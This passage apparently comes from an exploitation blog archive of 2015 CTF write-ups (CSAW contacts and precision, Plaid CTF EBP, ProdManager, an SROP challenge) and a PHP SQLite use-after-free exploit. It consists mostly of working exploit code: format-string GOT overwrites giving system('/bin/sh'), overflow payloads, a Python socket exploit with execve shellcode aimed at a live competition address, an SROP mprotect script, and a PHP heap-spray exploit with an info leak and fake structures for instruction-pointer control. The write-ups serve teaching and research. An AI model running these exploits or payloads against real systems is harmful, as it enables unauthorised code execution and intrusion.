   c = command_string++;
   command[i] = *c;                        
}
[*] Arbitrary NUL write when handling STOR command @ 0x00401DF9. Amount of bytes received is not checked and used as index for string termination
while (1)
{
    bytes_read = recv(socket, file_information, 10, 0);
    total_size += bytes_read;
}

file_information[total_size] = 0;
file_information buffer resides above invalid character buffer, hence could be used to toggle off the invalid charcacter byte.
.bss:0000000000604408 invalid_character dd ?  
RAX: 0x208
=> 0x401ee0: mov    BYTE PTR [rax+0x604200],0x0

gdb-peda$ x/x 0x604200+0x208
0x604408: 0x0000000000000066
[*] The file_information buffer is used in couple of other functions like LIST and RETR, which could also overwrite the invalid character byte.
Direction Type Address         Text                                     
--------- ---- -------         ----                                     
          o    LIST:loc_401BAD mov     [rbp+s], offset file_information 
Down      o    LIST+26F        mov     esi, offset file_information     
Down      o    STOR+8F         mov     esi, offset file_information; buf
Down      w    STOR+E7         mov     ds:file_information[rax], 0      
Down      o    RETR+134        mov     edi, offset file_information; ptr
Down      o    RETR+158        lea     rsi, file_information[rax]; buf  
Flag for the challenge is flag{exploiting_ftp_servers_in_2015}

CSAW CTF - Exploitables250 - contacts

This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
struct contact {
    char *description;
    char *phonenumber;
    char name[64];
    int desc_size;
    int inuse;
};
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
.text:08048A4E mov     edx, ds:stdin
.text:08048A54 mov     eax, [ebp+size]
.text:08048A57 mov     ecx, [ebp+contact]
.text:08048A5A add     ecx, 8
.text:08048A5D mov     [esp+8], edx    ; stream
.text:08048A61 mov     [esp+4], eax    ; n
.text:08048A65 mov     [esp], ecx      ; s
.text:08048A68 call    _fgets        
printf("New name: ");
fgets(contact->name, size, stdin);          
Next bug is a format string vulnerability in display contact feature:
is_inuse = contact->inuse;
if (is_inuse)
     PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);

int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
  printf("\tName: %s\n", name);
  printf("\tLength %u\n", size);
  printf("\tPhone #: %s\n", phonenumber);
  printf("\tDescription: ");
  printf(description);                   
}
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.

Exploit details:

[*] Trigger info leak using format string
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052

FRAME0EBP   FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'

FRAME0EBP-->FRAME1EBP+2   # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'

FRAME0EBP   FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT 
payload = '%.' + str(2052) + 'u%18$hn'
[*] Read the GOT entry of free, to leak libc address
payload = "%30$s"
[*] Then overwrite GOT of free with address to system
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
Update GOT address in stack to point to MSB bytes
payload = '%.' + str(45078) + 'u%18$hn'
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Create a contact with /bin/sh\x00 as description

[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")

Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}

CSAW CTF - Exploitables100 - precision

Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
.text:08048529                 fld     ds:floating_num
.text:0804852F                 fstp    [esp+0A0h+check]

.text:08048596                 fld     [esp+0A0h+check]
.text:0804859D                 fld     ds:floating_num
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short ret
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
So contruct a payload like below, to control EIP
payload  = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12 
payload += struct.pack("<I", EIP)
Flag is flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Saturday, June 20, 2015

Fun with SROP Exploitation

This post is regarding another solution for the same problem mentioned in Return to VDSO using ELF Auxiliary Vectors. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
section .text

global _start

vuln:
    sub esp, 8
    mov eax, 3  ; sys_read
    xor ebx, ebx ; stdin
    mov ecx, esp ; buffer
    mov edx, 1024 ; size
    int 0x80
    add esp, 8
    ret
 
_start:
    call vuln
    xor eax, eax
    inc eax  ; sys_exit
    int 0x80
The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.

We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.

Make .text segment RWX using mprotect

The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.

Pivoting stack into ELF header

ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
gdb-peda$ x/8wx 0x8048000
0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034
set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
#!/usr/bin/env python

import struct
import telnetlib
from Frame import SigreturnFrame

ip = '127.0.0.1'
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071
SYS_MPROTECT  = 125

con = telnetlib.Telnet(ip, port)

frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x73)
frame.set_regvalue("ss", 0x7b)

payload  = "A" * 8
payload += struct.pack("<I", INT_80)            # Overwrite Saved EIP
payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1)      # read SIGRETURN number of bytes
con.write(payload + chr(0xa))

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
con.write(open('shellcode').read())
con.interact()
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60604

renorobert@ubuntu:~/SROP/sploit$ python sploit.py 
uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
Frame could be found here

Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x89\xe3"+
            "\x50\x57" +
            "\x53\x89\xE1\x89\xc2\xb0\x0b"+
            "\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.



struct node
{
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
{
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here

Thursday, April 2, 2015

Exploiting PHP Bug #66550 - SQLite prepared statement use-after-free - [A local PHP exploit]

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysis Bug 66550 - SQLite prepared statement use-after-free.

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.

Trigger

Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204
<?php

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
// Close the database connection and free the internal sqlite3_stmt object
$db->close();
// Access the sqlite3_stmt object via the php_sqlite3_stmt container
$stmt->reset();

?>

EAX: 0xcccccccc 
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a52e38 --> 0xcccccccc 
EDI: 0x0 
EBP: 0xb77cb0c8 --> 0x2 
ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]
   0xb73c2910 : mov    DWORD PTR [esp],eax
   0xb73c2913 : call   0xb736fea0 
   0xb73c2918 : mov    eax,esi
   0xb73c291a : call   0xb73c18f0 

gdb-peda$ bt
#0  0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
#1  0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
    at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

gdb-peda$ x/100x 0x8a52e38
0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.
<?php

error_reporting(0);

$db_spray = new SQLite3(':memory:');
$db_uaf   = new SQLite3(':memory:');

$db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

$stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
$db_uaf->close();

for($i = 0; $i <= 300; $i++){
    $id  = (string) $i;
    $bar = chr($i) . str_repeat("A", 320);
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
}
$stmt->reset();
?>
EAX: 0x41414141 ('AAAA')
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a654c0 ('A' ...)
EDI: 0x0 
EBP: 0xb77cc198 --> 0x3 
ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.
/*
** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
** is really a pointer to an instance of this structure.
*/

struct Vdbe {
  sqlite3 *db;            /* The database connection that owns this statement */
  Op *aOp;                 /* Space to hold the virtual machine's program */
  Mem *aMem;               /* The memory locations */
  Mem **apArg;             /* Arguments to currently executing user function */
  Mem *aColName;           /* Column names to return */
  Mem *pResultSet;         /* Pointer to an array of results */
  Parse *pParse;           /* Parsing context used to create this Vdbe */
  int nMem;               /* Number of memory locations currently allocated */
  int nOp;                 /* Number of instructions in the program */
  int nCursor;            /* Number of slots in apCsr[] */
  u32 magic;               /* Magic number for sanity checking */
  char *zErrMsg;           /* Error message written here */
  Vdbe *pPrev, *pNext;  /* Linked list of VDBEs with the same Vdbe.db */
  VdbeCursor **apCsr;      /* One element of this array for each open cursor */
  Mem *aVar;               /* Values for the OP_Variable opcode. */
  char **azVar;            /* Name of variables */
  ynVar nVar;              /* Number of entries in aVar[] */
 …..
 …..
  AuxData *pAuxData;      /* Linked list of auxdata allocations */
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  i64 *anExec;            /* Number of times each op has been executed */
  int nScan;              /* Entries in aScan[] */
  ScanStatus *aScan;      /* Scan definitions for sqlite3_stmt_scanstatus() */
#endif
};

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details
SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
  int rc;
  if( pStmt==0 ){
    rc = SQLITE_OK;
  }else{
    Vdbe *v = (Vdbe*)pStmt;
    sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
    rc = sqlite3VdbeReset(v);  // take this path
int sqlite3VdbeReset(Vdbe *p){
  sqlite3 *db;
  db = p->db;
  sqlite3VdbeHalt(p);   // take this path
int sqlite3VdbeHalt(Vdbe *p){
  int rc;                         
  sqlite3 *db = p->db;

  if( p->db->mallocFailed ){
    p->rc = SQLITE_NOMEM;
  }
  if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
  closeAllCursors(p);   // take this path
static void closeAllCursors(Vdbe *p){
  if( p->pFrame ){    // set p->pFrame to NULL
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){   // take this path
    int i;
    for(i=0; i < p->nCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);   // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it
int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
  Vdbe *v = pFrame->v;
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  v->anExec = pFrame->anExec;
#endif
  v->aOnceFlag = pFrame->aOnceFlag;
  v->nOnceFlag = pFrame->nOnceFlag;
  v->aOp = pFrame->aOp;
  v->nOp = pFrame->nOp;
  v->aMem = pFrame->aMem;
  v->nMem = pFrame->nMem;
  v->apCsr = pFrame->apCsr;
  v->nCursor = pFrame->nCursor;
  v->db->lastRowid = pFrame->lastRowid;
  v->nChange = pFrame->nChange;
  v->db->nChange = pFrame->nDbChange;
  return pFrame->pc;
}

void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
  if( pCx==0 ){
    return;
  }
  sqlite3VdbeSorterClose(p->db, pCx);
  if( pCx->pBt ){   // set pCx->pBt to NULL
    sqlite3BtreeClose(pCx->pBt);
    /* The pCx->pCursor will be close automatically, if it exists, by
    ** the call above. */
  }
  else if( pCx->pCursor ){  // set pCx->pCursor to NULL
    sqlite3BtreeCloseCursor(pCx->pCursor);
  }
#ifndef SQLITE_OMIT_VIRTUALTABLE
  else if( pCx->pVtabCursor ){  // take this path
    sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
    const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
    assert( pVtabCursor->pVtab->nRef>0 ); 
    pVtabCursor->pVtab->nRef--;  
    pModule->xClose(pVtabCursor);  // control EIP
  }
#endif
}
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.

   struct Vdbe       struct sqlite3 
[   sqlite3 *db    ]-------->[ AAAA ] 
[     nCursor      ]         [ AAAA ] 
[VdbeCursor **apCsr]----|    [ AAAA ]  
[      nVar        ]    |    [sqlite3_mutex *mutex] 
                           |
                           |--->[apCsr[0] |...| apCsr[n]]
                                   |
                                   |
               struct VdbeCursor   |     
                    [sqlite3_vtab_cursor *pVtabCursor]
                                   |
      struct sqlite3_vtab_cursor   | 
                         [sqlite3_vtab *pVtab]   /* Virtual table of this cursor */
                                   |
             struct sqlite3_vtab   |
                      [sqlite3_module *pModule]
                                   |
          struct sqlite3_module    |     
                [int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,
(PHP 5 >= 5.3.0)
SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

public int SQLite3Stmt::paramCount ( void )

And below is the implementation
/*
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.  
*/
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
  Vdbe *p = (Vdbe*)pStmt;
  return p ? p->nVar : 0;
}
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].

Environment

Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty

$ php -v
PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 

SQLite3 support => enabled
SQLite3 module version => 0.7-dev
SQLite Library => 3.8.2
Exploit

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

/* For information leak */

$db_spray = new SQLite3(':memory:');
$db_ileak = new SQLite3(':memory:');

$db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
$db_ileak->close();

echo("[*] Triggering info leak using UAF". PHP_EOL);
$leaked_address = array();

/* massage heap */
for($i = 0; $i <= 80; $i++){
    $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

    /* info leak using paramCount */
    $count = $stmt->paramCount();
    $res   = $count & 0xff000000;
    if($res >= 0x08000000 && $res <= 0x0c000000)
    array_push($leaked_address, $count);
}

$heap = $leaked_address[0];
echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
$db_spray->close();

/* offset to vdbe struct from leaked address */
$offset = 0x140e8;
$stmt_address = $heap+$offset;
echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

/* For code execution */

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

/* setup fake structures */
$pad = 6;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);

$fake_vdbe .= pack("L", $stmt_address+216);  # sqlite3 *db 
$fake_vdbe .= pad(11);
$fake_vdbe .= pack("L", 0x44444444);  # p->nCursor
$fake_vdbe .= pad(4);
$fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
$fake_vdbe .= pad(36);

# sqlite3 db struct starts here
$fake_vdbe .= pad(3);
$fake_vdbe .= pad(1);    # sqlite3_mutex *mutex = NULL
$fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

# apCsr struct starts here
$fake_vdbe .= pad(1);     # pCx->Cursor,  sqlite3BtreeCloseCursor
$fake_vdbe .= pad(1);     # pCx->pBt,     sqlite3BtreeClose
$fake_vdbe .= pad(6);
$fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
$fake_vdbe .= pad(6);
$fake_vdbe .= pad(1);     # pCsr->pSorter

# pVtabCursor
$fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
$fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

# pModule
